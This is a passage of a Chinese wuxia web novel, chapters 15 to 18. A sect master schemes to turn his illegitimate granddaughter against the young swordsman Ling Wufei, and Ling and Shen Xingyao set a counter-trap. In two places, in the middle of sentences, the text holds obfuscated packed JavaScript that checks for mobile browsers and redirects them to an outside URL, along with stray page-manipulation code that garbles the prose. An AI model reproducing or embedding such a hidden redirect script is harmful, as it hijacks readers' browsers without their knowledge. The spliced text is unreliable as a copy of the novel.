“既已到了这份上,你便不必装了。”段元恒道,“虽不知那丫头是如何自己找过来的,但基于对令尊的信任,老夫便权当这一切,是她自己擅自做主,与你全无关系。” “段堂主这是什么意思?”凌无非嗤笑出声,“怎么说得就像是我苦心孤诣谋划这些,打算毁了段家清誉一般?” “别想太多,”段元恒长叹了口气,道,“说到底,此事终究是老夫的家事,这几个月来也算辛苦了你。接下来的事,你就不必插手了,老夫自有打算。” “是吗?”凌无非听罢笑道,“那便再好不过,此事也让我焦头烂额许久,如今正好,既然您有了解决的法子,我还乐得轻松。” “你能如此豁达,便最好,”段元恒道,“年轻人,少花些心思管这闲事,免得断送了前程。” 凌无非听出他话里有话,只是微笑摇了摇头,半晌,方点头答道:“段堂主说的是,晚辈自当铭记在心,绝不敢忘。” 段元恒这才露出满意的笑容,对他点了点头,道:“好了,时辰也不早了,你好好休息,老夫便不打扰了。”言罢,便即转身退出屋去。 听着段元恒的脚步声渐远,凌无非终于长舒了口气。 可没过多久,他又蹙起眉来。 此时夜色已深,窗外静悄悄一片,除了风声,什么也听不到。凌无非坐在床沿,凝神思索良久,方笃定站起身来,扶着墙壁一步步朝门口走去,就在他右腿刚刚跨过门槛的那一瞬,一个声音在不远处响起:“打算去哪?” 凌无非循声扭头望去,只见沈星遥立在门外不远处,双手环臂,背倚着墙面,静静望着他。 “这么晚了,你还没睡?”凌无非诧异道。 “本已睡了,后来却听到这边有动静,就起来看看,”沈星遥道,“段堂主来过了?你想立刻去找段姑娘?”她一面说着,一面走到凌无非跟前停下。 凌无非一时哑然,半晌,方道:“这是我自己招惹上的麻烦,还是别拖累你的好。” “我就知道。”沈星遥上前几步,靠着走廊边的栏杆。 “知道什么?”凌无非笑问。 “我与你相识时间也不长,可那天你却舍命下水救我。”沈星遥道,“所以我想,你责任感这么强,应当不会放任段苍云送死。” “这倒谈不上,”凌无非笑道,“不过,如果没有我的介入,她原本也可以继续过原来的安生日子,不会招惹这些祸事。” “可你需得知道,你这条腿恐怕再经不起折腾了,好端端的一位少侠,相貌堂堂,武功也不差,偏偏要瘸一条腿,多可惜啊?”沈星遥看了看他受伤的右腿,微微一笑,道,“你打算去什么地方,我替你去。” “恐怕不妥,”凌无非道,“此事本与你无关,不该令你牵扯进来。” “可你这模样,不管去哪行动都不方便。一个不当心,是会弄巧成拙的。”沈星遥莞尔,“你是因为救我才会受这伤,我来帮你这一回,不就两清了吗?” 凌无非一时语塞,竟不知该如何反驳她。 “段姑娘一时半会儿也不知藏在城中何处,不过姑苏是段堂主的地盘,他若是想找段姑娘的下落,一定比我们更快。”沈星遥一面思索,一面说道,“不如这样,这几日你先好好休息,顺便帮我照看阿菀,我替你去鼎云堂附近盯着,留意段堂主的动向,如何?” 凌无非听罢,凝神良久,终于还是叹了口气,道:“也罢,你说得有理,我不养好腿伤,非但做不了什么,反而会令眼下局势更为糟糕。”说着,他顿了顿,又道,“不过,不论到时你看见何事,都不要轻易出手,更要小心留意乔装打扮,或是遮起面容,切莫暴露自己的身份,” “好。”沈星遥点头应允,便即转身走开。凌无非静静看着她的背影,眉心渐渐蹙紧,眸底透出隐隐忧色。 15. 第十五章 局中人自迷 夜色寂静,到了三更天,鼎云堂内最后一班巡视的守卫也都回房歇下了。 沈星遥翻过院墙,蹲坐在庭内一株靠墙的古樟枝头,静静观望着鼎云堂里的动静。 虽已入秋,樟木却不落叶,仍旧青葱。在黑夜的笼罩下,繁茂的枝叶完好地遮挡住她的身形。 也不知过了多久,眼前那间原本黑着灯的屋子里忽然亮起了光,又过了片刻,门扇被人从里面拉开,段元恒双手负后,一步步走到庭院正中,对着眼前黑夜所笼罩的庭院,朗声说道:“出来吧,不必藏了。” 沈星遥眉心微微一蹙,正疑心段元恒已发现了自己,却见一个人影从假山背后缓缓走了出来。 水乡的宅邸,有着江南一带别具一格的特色,苍松翠柏,假山池塘,能够藏身的地方,绝不止一处。 来人穿着一身黑衣,头戴一顶幕篱,看身段,与白日所见的那位叫做段苍云的少女十分相似。 “既然都来了,何必还要遮遮掩掩?”段元恒上前一步,道。 “你不是不想看见我吗?”段苍云道,“既然嫌我丢了段家的颜面,那么我是什么模样,便丝毫不重要。” “年纪轻轻,倒是伶牙俐齿,”段元恒舒了口气,道,“比朗儿中用些。” “你约我深夜来此,有何目的?”段苍云又问。 “你是段家的儿女,身为祖父,想见你一面,难道不妥吗?” “你想见我?”段苍云身形一滞,“那么此前为何那姓凌的却告诉我,你不肯与我相认?” “胡说八道,”段元恒道,“老夫几时说过这种话?” “我亲耳听他转告,难道还会有错?”段苍云疑心陡起,“他让我在金陵左等右等,都不肯给我回应,直到今日我去找他,当面逼问,他才说……” “竟有此事?”段元恒重重叹了口气,“真想不到,段、凌两家如此交情,他竟会做出这种事!难怪老夫等了许久,他也还是一拖再拖,让我继续等待,若非昨日夜里你以竹箭将信物送还,那还要等到何年何月,才能与你相认啊!” “你说的话都是真的?”段苍云上前一步,问道。 “丫头,血浓于水,我是你的祖父,又怎会骗你?”段元恒道,“如今你就在我的宅邸之中,若老夫当真不愿认你,只需命人随便将你打发离开便是,又何必同你说这些?” “原来是这样……”段苍云摘下头顶幕篱,狠狠摔在地上,大声痛骂道,“该死,那姓凌的狗东西,生得一副斯文模样,谁知道却是这种坑蒙拐骗的败类!这笔账,我一定要同他算算清楚!”说着,她转身就要走,却被段元恒一把拉住。 “我的傻丫头,如今你我祖孙二人既已相认,便是好事,何必再生事端?无非他这么做,或许还有其他难言之隐,兴许还有什么误会在里头,你也不必……” “祖父,您恐怕不知他是如何骗我的吧?”段苍云愤怒不已,“屡次给我希望,却又令我失望!这人必然还藏着什么龌龊心思,尚未付诸行动,不行,若就这样相认,息事宁人,他一定还会想出别的手段来离间我们祖孙,您就再等我几日,等这祸害闭上了嘴,我再回来见您。” “他是惊风剑之子,又在鸣风堂门下,名声在外,你拿什么同他抗衡?万一他反咬一口,再污蔑你别有用心,可如何是好?”段元恒假意劝道,“你听祖父的话,等明日我带你见了逸朗,咱们一家团圆,老夫还可以亲自出面替你……” “听您这么一说,便更不妥当了,”段苍云此刻已完全落入了段元恒用言语编织的圈套,“等到所有人都知道您已认回了我,再去同他争辩此事,一个不好,还得连累您和鼎云堂的声名……不可,万万不可,我要自己解决这件事,再堂堂正正回来,做段家的子孙。”言罢,她便重重甩开段元恒的手,飞身翻出院外。 段元恒则静静立在原地,看着他远去的身影,唇角勾起一抹不易察觉的森冷笑意。 沈星遥一直等到段元恒回屋熄灭灯火睡下,方飞身越过高墙,匆匆回到客舍。 她来不及休息,便径自去到凌无非屋外,敲响了房门。 “什么事如此着急?”凌无非因行动不便,过了很久才将房门打开。 沈星遥回头望了一眼空荡荡的客舍,快步踏过门槛,反手合上房门,正色说道:“你有麻烦了。” “什么麻烦?” “段元恒挑拨离间,说是因为你一直在从中作梗,才导致他们祖孙虽然不能相认。他为了挑起事端,让自己置身事外,还用了许多话术,让段苍云主动要求先同你清算总账,再去与他相认,我猜这会儿,她正在准备来找你呢。” “他胡说八道些什么?”凌无非怒道,“这老狐狸,好事办不出一件,往自己脸上贴金的本事倒是见长,我怎么就这么晦气?” 沈星遥跑去桌边,给自己倒了杯水,大口灌下,又清了清嗓子,将方才的所见所闻对他娓娓道来。 凌无非听得瞪大了眼,忽地嗤笑出声,摇头叹道:“原来他还有这一招。” “他骗段苍云来找你,激化你二人之间的矛盾,不管结果如何,段苍云都不会再相信你,你也绝不可能再帮她,甚至反目,到那时候,段苍云成为众矢之的,他再反咬一口,说是那丫头无故生事……又或是这事,他再用心狠毒些,将你重伤,或是干脆杀了,再嫁祸于段苍云。” 沈星遥接着说道:“方才那些话,都是他们二人私下的交谈,等段苍云做到了此事,他还可以反咬一口,污蔑段苍云有心害人,当时这姑娘便是有嘴也说不清。你如今有伤在身,要应付这些,恐怕不容易。” “那倒不至于。”凌无非坐下,长叹一声道,“你说的这些我都懂,只是我还有一点想不明白——我与段元恒之间,实在没有什么深仇大恨,值得他如此费心取我性命。” “莫非你觉得,从一开始让你去找段苍云,就是他已策划好的?”沈星遥问道。 “这我不知,”凌无非想了想,忽然笑问,“不过话说回来,我与鼎云堂的那些恩恩怨怨,全凭我一张嘴说给你听,你为何会信我?而不是相信段元恒?” “上回我被郭春馥母子骗上船,你完全可以不必来救我。”沈星遥道,“你想知道的秘密,只需向阿莞询问便可,我的死活,与此无关。而且即便你不来救我,阿菀顶多只会迁怒于鼎云堂,或是继续追查玉峰山遇见过的神秘人,丝毫怪罪不到你身上,那么你又与此有何利害关系?非要冒死下水救人?” 凌无非听罢,微微一愣。 “怎么,还没听明白吗?”沈星遥不解道。 “没什么,多谢。”凌无非略一颔首,不自觉避开她的目光。 他心怀坦荡,本不该如此局促,可不知怎的,却不敢正视沈星遥的目光,仿佛被人窥破了什么企图一般。 “白日我见过段苍云出手,她武功平平,未必伤得了你。但姑苏在段元恒势力之内,段苍云一人不能成事,他也势必还会用别的手段促成。我想,为保安全,咱们还是应当尽快离开姑苏。”沈星遥道。 “只能如此了。”凌无非叹了口气,才刚刚起身,却觉右腿伤口发出一阵剧痛,又重重跌坐回原位。 沈星遥见状,不动声色走到他跟前,将他搀扶起身,一条胳膊搭在自己肩头,抬眼却望见昏暗的门口,不知何时多出一个人影。 来人身形消瘦而颀长,虽看不清容貌,仅凭身段,也瞧着有些许陌生,然而却在这时,天空突然响起惊雷,伴随着一道陡然亮起的闪电,门口的那个人影又突然消失得无影无踪。 “这是见鬼了吗?”凌无非不觉一愣。 “小心为上。”沈星遥将凌无非搀出房门,左右查看一番,却并未发现有何异样。随后便唤了徐菀起床,趁着天色还未亮起,匆匆离开了客舍。 过了五更,天边泛起了蒙蒙的白,三人赶了很远的路,在郊外无人处暂且坐下歇脚。 凌无非坐在火堆旁,单手扶着右腿几乎已麻木的伤口,蹙眉不语。 “你流了好多血。”徐菀说着,从怀里掏出许多瓶瓶罐罐,摆在了沈星遥跟前,道,“师姐,这些药物应当是 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“或许吧。”凌无非微微蹙眉,思忖片刻,脑中忽地闪过一个念头,随即抬眼望向沈星遥,问道:“若是让你与段苍云交手,有几成把握胜她?” “十成。”沈星遥若有所悟,“你想怎么做?” 凌无非挑眉一笑,手指微曲,做了个“过来”的手势,等沈星遥靠近,方凑到她耳边,小声说了几句话。 翌日清晨,霁月楼的伙计才刚刚打开大门,便瞧见一名穿着男装的女子大步跨过门槛,走了进来。 “这位客官,”小伙计迎上前道,“请问您是打尖,还是住店?” “我看你有些眼熟,昨天我们见过?”段苍云目光盯住那伙计,道,“昨天与我交手的那个男人,住在哪间房?” “这……这是客人自己的事,我也不好说呀。”小伙计唯恐生出事端,只好推脱道,“不如这样吧,小的这就去请他过来,可要是人家不肯来,我也……” “那就去啊!”段苍云呵斥一声。 小伙计一听她这口气,赶忙就去了,然而到了楼上推开房门一看,却发现屋内空无一人。他正愁不知该怎么交代,却被人猛地推到一边,回头一看才发现是段苍云跟了过来。 “客……客官……”小伙计结结巴巴道,“这……” “人呢?”段苍云抬高嗓音,问道。 “这……我哪里知道?许是出去了吧……” “那昨天帮他的那个女人呢?她也住在这吗?”段苍云又问。 “没错,就在右边第三间。”小伙子,缩着脖子,不敢动弹,只能眼睁睁的看着段苍云将另一间屋子的门给踹开。 “王八蛋,竟然都跑了!还敢说不是做贼心虚?”段苍云怒不可遏,转身怒视小伙计,道,“他们几时走的?” “这……小的也不知道啊。连房也没退就……” 段苍云气急,当即转身下楼,跑出客舍,正愁不知该往哪个方向追,却忽然感到肩头一疼,伸手一摸,才发觉肩上多了一个灰色印子,当即回身张望,脚下碰巧踢到一颗小石子,低头草草看了一眼,正与她肩头的灰印形状吻合。 “什么人?”段苍云说完,便看见一只纤细修长的手,从右侧巷口缩了回去,便立刻追了过去,然而还没等瞧清里边是何情形,后颈便被重重切了一掌,当即两眼一翻,晕倒在地。 “这么好骗?”沈星遥从她背后绕至前方,低头看着已不省人事的段苍云,不自觉摇头,轻笑感慨道,“连我的当都能上,往后还怎么行走江湖啊?” 她找出事先准备好的板车和木箱把人藏了起来。沈星遥此刻穿着粗使人的衣裳,给脸上抹了几把墙灰,头上还裹着粗布头巾,推着这板车走街串巷,丝毫未引起旁人注目。等她出了闹市,便卸下伪装,又在一旁的溪水边洗了把脸,这才打开箱子,见段苍云正迷迷糊糊想要睁开双眼,又再一次将她打晕扛了起来,朝着昨夜几人落脚之处走去。 沈星遥走进山洞,见凌无非与徐菀已在其中等候,便把人放在地上,掐了掐人中。 16. 第十六章 人心易生疑 段苍云缓缓醒来,一瞧见凌无非的脸,便觉怒火中烧,正待跳将起来与他斗个你死我活,却被沈星遥疾点周身几处大穴,一时之间,竟动弹不得。 “你们到底什么关系?”段苍云怒极,“为何要帮这人面兽心的伪君子?” “你认得他多久?又与段堂主往来多久?怎么就如此笃定,眼前的这位便是恶人?” “你什么意思?”段苍云一惊,“这些事你也知道?你到底是什么人?” “此事与她无关,”凌无非道,“我只是请她帮个小忙,让我能当面同你把话说清楚。” “还要说清楚什么?”段苍云骂道,“你这个小人,为何要阻止我与祖父相认?” “你凭什么认定,是我在从中作梗?”凌无非问道。 “这还用说吗?我已见过祖父,他对我说,你根本从未告诉过他我的下落!”段苍云气急,嗓门也大得很,吵得三人头疼。 “他说你就信啊?”徐菀忍不住惊呼道,“都不用求证的吗?” “求证?你们现在把我绑来,不就恰恰证明,祖父所言都是真的吗?”段苍云咬牙切齿。 “你要这么想,也无妨。”凌无非平静摇头,叹道,“那么段姑娘以为,我做这些的目的是为了什么?” “我怎么知道?”段苍云冷笑,“你的那些龌龊心思,难道还能告诉我不成。” “白痴……”沈星遥不自觉扶额,“他来过客舍,对无非所说的话,与对你说的,根本就是两件事。” “你是他的人当然帮他说话!”段苍云瞪眼道。 “我怎么就成了他的人?”沈星遥只觉好笑,“难不成我现在往你身边一站,就能说你是我的人?” “那姓段的老头到底是给你灌了什么迷魂汤啊?”徐菀忍不住开口,“才见了一面而已,就已经是一条心了……你就不怕他骗你吗?” “他是我祖父,为何要骗我?”段苍云道。 “你爹不也骗了你娘吗?说会回来找她,结果让她等了一辈子。”徐菀道。 “我爹早就死了,”段苍云道,“他要是活着,一定会回来的!” “这些话,都是你娘告诉你的吧?”凌无非叹道,“段鸿舟可并不只有她一个女人。” “那又如何?你不是告诉我,如今在外头,我爹就只有我一个孩子吗?”段苍云道,“他要是心里没有我娘,又怎么会有我?” 凌无非听到这话,不禁嗤笑出声,摇头说道:“看来你真是不了解男人。” 对段苍云而言,她从小到大,所见所学,都是她母亲一人的言行,与母亲眼中认定的世界,那个一生一世,眼里都只有段鸿舟的女人,对女儿所灌输的,自然都是段家人的好话。 大概这也正是段苍云为何一见段元恒,便对他所说的话深信不疑的缘故了。 “怎么样?你无话可说了吧?”段苍云道,“现在又将我抓来困于此地,你又安的什么心思?” “算了,你自己在这呆着吧。”凌无非只觉胸闷气短,便扶着墙面,缓缓站起身来,拖着受伤的右腿,一步一个踉跄走出山洞。 “阿菀,你等我一会儿,马上就回来。”星遥对徐菀嘱咐后,便转身跟了出去,只见凌无非正坐在山洞外,盯着远方的某处出身,似有心事。 “无非,”沈星遥在他身旁坐下,问道,“你在同她置气?” “那倒不至于,”凌无非道,“只是没想到,她火气这么大,根本无法沟通。” “她既然认定了段元恒是家人,你是外人,当然看什么都是你的错。”沈星遥道。 凌无非听罢,略一思索,忽然扭头认真看了她一会儿,微笑说道:“说实话,你让我有些意外。” “我?为何?” “当初在渝州,我听闻你从昆仑山而来,又亲眼你被人偷袭,便一直以为,你对江湖中这些尔虞我诈、人情世故都一窍不通。可这几日以来,对于经历的一切,你所做的判断,大多准确无误。理智也胜过于我。”凌无非道,“在你面前,我甚至有种错觉,许多时候,我不得不仰仗你,才能成事。” “会吗?”沈星遥不觉笑道,“那一定是错觉。” 她顿了顿,又继续说道:“不说这个了,段苍云的事,你有什么打算?” “办法有很多,只是一个比一个下作,没有任何一条能让她全身而退。我还可以骗她,同她说的确是我故意隐瞒,目的是为了保护段逸朗在鼎云堂的地位,又或是说我收受了段夫人的什么好处,总之,随意想个法子,就能将这祸事转嫁到段家人头上,再让他们一家窝里斗。可段元恒原本的目的,就是为了撇清她与段家的关系,若将此事闹大,她的性命必然保不住,也绝不可能再信任我。” “如此说来,这位段姑娘是活不成了。”沈星遥摇头叹道,“这些所谓的名门正派,真动起私心来,还真是杀人不见血。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150362|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “追根究底,还是因为我当初听信了段元恒的话,才会导致如此。”凌无非一面说着,一面扶着身旁的岩石缓缓站直身子,“既然她愿意相信段元恒,我自是没有把握说服她,先前从玉峰山一路跟踪而来的那人身份,还悬而未解,如今又多了这些事,只怕……” 他话到一半,却忽地顿住,转向沈星遥,蹙眉说道,“且慢,既然段元恒可以做戏,我们又为何不能?” 与此同时,另一头,在山洞深处,段苍云瞥了一眼徐菀,愤愤别过脸去,道:“你又是什么人?怎么从前我没见过你?” “怎么又扯到我头上了?”徐菀蹙眉道。 “我只是在意,到底什么样的人,才会帮那姓凌的混账办事。”段苍云咬牙切齿道。 “你这个人,真是一点礼数也没有,开口闭口都在骂人,可别人也没对你做过什么天怒人怨的行径,哪来这么大的火气?”徐菀目露鄙夷,“我可真想不明白。就算是他从中作梗,不让你们祖孙相认,目的又是什么?你这人也真是执拗,怎么不听人解释呢?” “我怎知他有何目的?”段苍云道,“这些话,你应当去问他。” “你自己不会想吗?”徐菀问道,“既然你认定他不是什么好人,有些问题就该自己想清楚,想不清楚,也该设法找出线索,顺藤摸瓜推断清楚,这般没头没脑的,我还是第一次见。” “你说什么?”段苍云听到她骂自己,当下抬眼瞪着她,大声质问。 “是我说话太快了吗?”徐菀满脸迷惑,“没听清楚,还是……” “你……”段苍云原先对这几人就有偏见,见此情形,心中便更加认定,徐菀是在有意羞辱于她。 “既然是我蓄意破坏你们祖孙相认,那么段堂主为何不自己来?他是一派掌门,从他口里说出的话,显然比从你口中说出来更有分量。”凌无非扶着洞内石壁,一步步走到二人跟前,道,“说到底,还是碍于你私生女的身份,不便公之于众,连替你讨说法都免了。到了这个地步,你依旧认定,他是真心想要让你认祖归宗吗?” “你休想挑拨,是我不让他来的。”段苍云怒道。 “你不让,他便不出面,便不怕我对你不利吗?”凌无非言罢,不等段苍云说话,便一掌切在她颈后,令她晕了过去。 “你这是干嘛?”徐菀大惊,“要灭口吗?” “阿菀,把护心丹借我用用。”沈星遥伸手道。 17. 第十七章 请君入瓮中 等段苍云醒来,才发现自己已然置身于城郊的一处破庙之内。她坐起身来,这才发现自己周身已被五花大绑,捆上了厚厚的麻绳。 她放眼四周,见破庙内空无一人,不免讶异,然透过半开的窗扇,却隐约看见几个人影,似乎正是凌无非等三人。 段苍云动了动身子,膝盖忽然像是硌到了什么东西,低头一看,却发现是一些散落的碎瓦,再抬头看,屋顶果然有些许破漏,想来地上的这些瓦片,都是从破洞上方掉下来的。她心念一动,小心翼翼侧过身子,费了好大的劲,才捡起一块稍大些的碎瓦片,开始割动身上的麻绳。 麻绳末端打了死结,割起来显然比较费劲。段苍云只能又换了块更为尖锐的瓦片,慢慢割着。 她一面割着绳子,一面留意破庙外的动静,隐约听到沈星遥说道:“接下来的事,我就帮不上什么忙了。” 段苍云好奇心起,又怕弄出太大的动静,于是加快速度,费力在绳索上割出个小口,把绳结弄松,又挪了挪身子,令自己离破庙门口又近了几分,这才听清楚门外三人对话。 “你一个人,顾得过来吗?”这是徐菀的声音。 “眼下也没有别的法子,”凌无非道,“等我伤势好些,离开姑苏,自会把她放了。” “可就怕你的伤还没有养好,便又出了岔子。”徐菀叹道。 “阿菀,师父的命令容不得耽搁,须得快回去才行,”沈星遥道,“凌少侠,事出紧急,还请容量。师命不可违,这次我们是非走不可。” “这我明白,”凌无非道,“还请二位替我向尊师问安。” 话音落地,段苍云便听到一阵脚步声渐行渐远。恰巧此时,她手中的瓦片刚好将绳子割断,被捆缚住的胳膊,也突然变得轻松起来。 片刻之后,凌无非折返回破庙。段苍云听见脚步声,由于双腿的绳子还没完全解开,只能拉紧背后绳结,假装仍然被绑着的模样。 她恨恨盯着凌无非走进破庙的身影,仿佛和眼前之人有什么深仇大恨一般。 “你总算醒了。”凌无非走到一摞干草前坐下,脚步略显蹒跚。 “你是不是想杀我灭口?”段苍云警惕问道,“还有两个人呢?” “一会儿就回来。”凌无非道。 段苍云心想:你骗人! 她更相信自己偷听来的话,直觉以为,凌无非是忧心自己落单以后,难以应付局面才故意如此说。 “好啊!回来我也不怕,”段苍云道,“我告诉你,不管你有什么目的,我都不会让你得逞!” “那么,你认为我有什么目的?”凌无非心平气和问道。 “你想故意让我祖父着急?还是说,想用我的事情和他交换什么?”段苍云道。 “他有什么东西值得我费这种心思去换?”凌无非只觉莫名其妙,看她的眼神活像在看个妖怪。 “他可是天下第一刀!”段苍云道,“江湖之中,谁人不知谁人不晓?他的身上,自然有你想要的东西。” “这名号竟然真有人会信?”凌无非哑然失笑,“我说,你想不想听听,这个天下第一刀的名号,他是怎么捡回来的?” “自然是他武功高超,比武得来的。”段苍云道,“我才不想听你胡言乱语呢。” “天下皆知之事,你竟不知道?”凌无非不住摇头,仍旧笑道,“段姑娘,你可当真是让在下大开眼界。” “你在骂我?”段苍云瞪圆了眼。 “我可不敢,”凌无非道,“天下第一刀的孙女,我招惹不起。” “你……” “他曾输给过一个人,”凌无非收敛笑意,正色道,“只是那人遁入魔道,遭万人唾弃,不被世人认可。这才把这‘天下第一刀’又施舍给了段元恒。” “胡说八道,”段苍云道,“名号还能送来送去不成?能被叫做天下第一刀,必然有他不输于人的本事。” “如此说来,您只相信名号?”凌无非瞥了她一眼,淡淡问道。 “难道不应该吗?”段苍云反问。 “倘若如此,你便更应当相信我,”凌无非道,“身处鸣风堂下,受门规制约,断然不会做出那些下作勾当。” “说起这些,你怎么还没被清理门户?”段苍云对他偏见已深,无论凌无非说什么,都撼动不了内心已有的成见。 “非要这么说的话,姑娘你再受人欺骗,可就是活该了。”凌无非嗤笑一声,“蠢不自知。” “你还骂我?”段苍云气得满脸通红。 凌无非摇头,笑而不语。 “你少在这故作高深,”段苍云道,“想要断绝后患,你现在就该杀了我!” “放心,还不到时候。”凌无非长舒一口气,看了看她,忽然挑起唇角,饶有兴味问道,“你就这么想回段家?” “当然,”段苍云道,“我娘为了等这一天,搭上了一辈子,也搭上了一身的清白,我都不能替她完成愿望,简直枉为人女。” 就只是如此?” “当然还有,”段苍云神情突然变得扭捏,“我为什么要告诉你?” 凌无非笑了笑,摇摇头道:“我只是好奇,为何你总是作男装打扮?” “当然是为了行事方便,”段苍云道,“我武功不高,又是女子,不打扮成男人,岂非到处受人欺凌?” 凌无非听罢,若有所思,片刻方道:“可你虽穿着男装,却还是能叫人一眼看出是个女子。这么做又有何意义?” “关你屁事!”段苍云道,“还轮不到你来对我指指点点!” “罢了,你既不肯信我,多说也无益。”凌无非在干草垛旁盘膝入定,缓缓闭上双目,道,“等时候到了,自然会见分晓。” 段苍云冷哼一声,并不答话。过了一会儿,她扭头看了一眼凌无非,见他仍旧闭目入定,便悄悄松了手头绳结,小心翼翼,低头去解脚上的绳子。 这时,凌无非睁开双眼,静静朝她望来。然而,段苍云却对此浑然不觉,还在低头解着脚上的绳子,等她终于解开,抬眼却发现凌无非已走到了自己跟前,还没来得及反应过来,周身大穴便被他制住,一时之间,动弹不得。 “你要干什么?”段苍云怒道。 凌无非不言,只是两指死死掐住她两腮,强行扳起下颌,迫使她张嘴,将一粒白色药丸塞入她口中,并强迫咽下。 “你给我吃了什么东西?”段苍云又急又气。 “你愿意当做什么,它便是什么。”凌无非说着,便即解开她身上穴道,缓步折回原位坐下。 段苍云气急,起身要走,却听得他道:“如果还不想死,就别走出这扇门。” “混账东西,你居然给我下毒?”段苍云回身,狠狠盯着凌无非骂道,“世上怎会有你这般无耻之人?我要是有什么三长两短,你也绝不会有好果子吃!” “想让你有三长两短的人,不是我。”凌无非气定神闲,“只是好心提醒,你自己掂量吧。” “你用绳子捆我,还给我下毒,”段苍云走到他跟前,伸出一只手道:“解药交出来。” “不到将死之时,你还用不上它。”凌无非依旧坐在原地,纹丝不动。 “我看你是不想活……咦?”段苍云伸手一摸腰间才发觉随身携带的那把作为武器的折扇不见了,这时,她又听到了扇叶展开震动的声音,再抬眼时,才发觉那把扇子不知何时已到了凌无非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150363|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手里。 “你……竟然还偷我东西?”段苍云气急,伸手便要去夺,却被凌无非轻而易举避让开来,而她却险些摔了个大马趴。 “我当真是佩服你,”凌无非摇头叹道,“分明技不如人,又怎么能够做到如此理直气壮?” “你会后悔的!”段苍云气鼓鼓转身,在一旁坐了下来。 凌无非微微一笑,将手中展开的折扇合起,放在了身旁。 段苍云咬了咬唇角,盯了那把折扇很久,忽然听到肚子咕咕叫了起来,耳根唰的一红,又不自觉低下头去。 凌无非不动声色,从怀中掏出一只油纸包,扔到她的怀中。段苍云打开一看,却看见其中躺着三个馒头。 她看了一眼凌无非,又摸了摸自己的肚子,拿起一个馒头,翻来覆去看了一会儿,这才嗫嚅问道:“你怎么不吃?” “我不饿。”凌无非道。 “我看你就是不敢!只让我一个人吃,谁知道你有没有在里面下毒?” 凌无非听到这话,瞥了他一眼,却不回答。 “你不敢吃,那我也不吃了。”段苍云说着,便把装着馒头的油纸铺平,放在了一旁。 凌无非没有理会,而是盘膝闭目,重新入定。 段苍云见他不吭声,便也不说话了,然而过了一会儿又觉饿极,思前想后许久,这才慢吞吞拿起一个馒头,咬了一大口。 “现在又不怕我下毒了?”凌无非道。 “反正都已经吃过你给的药了,多吃几口,也没什么大不了。”段苍云大口吃着馒头,含混答道。 凌无非听罢,便不再做声。 段苍云拿起第二个馒头的时候,偷偷瞄了凌无非两眼,小声嘀咕道:“模样还挺俊的,就是为人龌龊,不干什么好事。” “我已经忍你很久了。”凌无非睁开双眼,缓缓说道,“从你来到姑苏城起,便一直在骂我,能不能给自己积点口德?” “骂你还错了吗?”段苍云冷哼一声,霍然起身,大声说道,“恶人作恶,怎会都写在脸上?” 说着,她咬了咬唇,半天又憋出一句话来:“就算我骂错了人,也一定会补偿的。” “哦?大可不必,”凌无非不觉发出哆嗦,道,“只要你从今往后别再出现在我面前,我便谢天谢地了。” “你以为我想看见你吗?不是你让那个女人把我抓来的吗?”段苍云一跺脚道。 “她不动手抓你,你便不会过来找我麻烦了?”凌无非反问。 “我……”段苍云一时语塞,只得坐了回去。 她心里窝火,馒头也吃不下了,便随手扔在了一边。凌无非也不愿与她多说什么。直到夜幕降临,星子挂满天空,破庙内的光线也变得越来越暗。 凌无非吹燃火折,点亮了神龛前唯一的烛台。 “难不成还要在这里过夜吗?”段苍云站了起来,“就我和你?” “不用,”凌无非回身望了一眼敞开的庙门,道,“有人要来了。” “什么人要来?”段苍云话音刚落,便听得周围有脚步声靠近,这声音听起来,少说也有十来个人。 “你很快就知道。”凌无非俯身拾起被他放在地上的折扇。 他说完这句话,屋顶上方忽地传来一声轰响,随着瓦片纷纷坠落,十数个黑衣人分别从上方和破庙大门蜂拥而至,将二人团团围住。 “二姑娘,你没事吧?”为首那人上前道。 “二姑娘?你们是……”段苍云惊道,“难道……” “没错,是掌门让我们来救你的,”那人说着,眼底突然涌起杀意,转向凌无非道,“此子贼心不死,留着也是祸害,二姑娘还不明白吗?” 18. 第十八章 破局方立身 “不明白什么?”段苍云一愣。 凌无非唇角微挑,轻笑不言。昏黄的烛光照亮他双眸,瞳底光彩,清亮如水,仿佛早已料到会有此一幕。 “二姑娘有所不知,此人谋害堂主之心,蓄谋已久,不除恐有大患。”领头人道。 “可是……”段苍云踟蹰不已。 凌无非不予理会,拇指轻推扇骨,将折扇展开,掌心运劲,顿时,那柄折扇便自扇骨交叠处起皲裂开来。 领头人见状,瞳孔骤然一缩,提气纵步上前,劈手夺下折扇,合起单股,做刀剑一般,刺入凌无非心口,同时翻转腰间佩刀,以刀鞘猛击他右腿伤口。 凌无非一时吃痛,当即向前栽倒,右膝重重磕在地面。 他露出自嘲似的笑,双手死死握住还未完全刺入胸中的那柄折扇,对那领头人道:“真是打得一手好算盘,段堂主今日,是想一箭双雕啊。” 领头人一言不发,拔出插在他心口的折扇,随手扔在地上,反手拔刀指向段苍云喉心。 “你干什么?”段苍云大惊。 凌无非见状,冷笑不止,却因伤势太重咳嗽起来:“下了这么一盘棋……咳,难道不该让人死个明白吗?” “什么意思?”段苍云脸色惊变。 “二姑娘,”领头人道,“这可不能怪我,都是掌门的意思。” “你把话说清楚,为何连我也要杀?”段苍云问道。 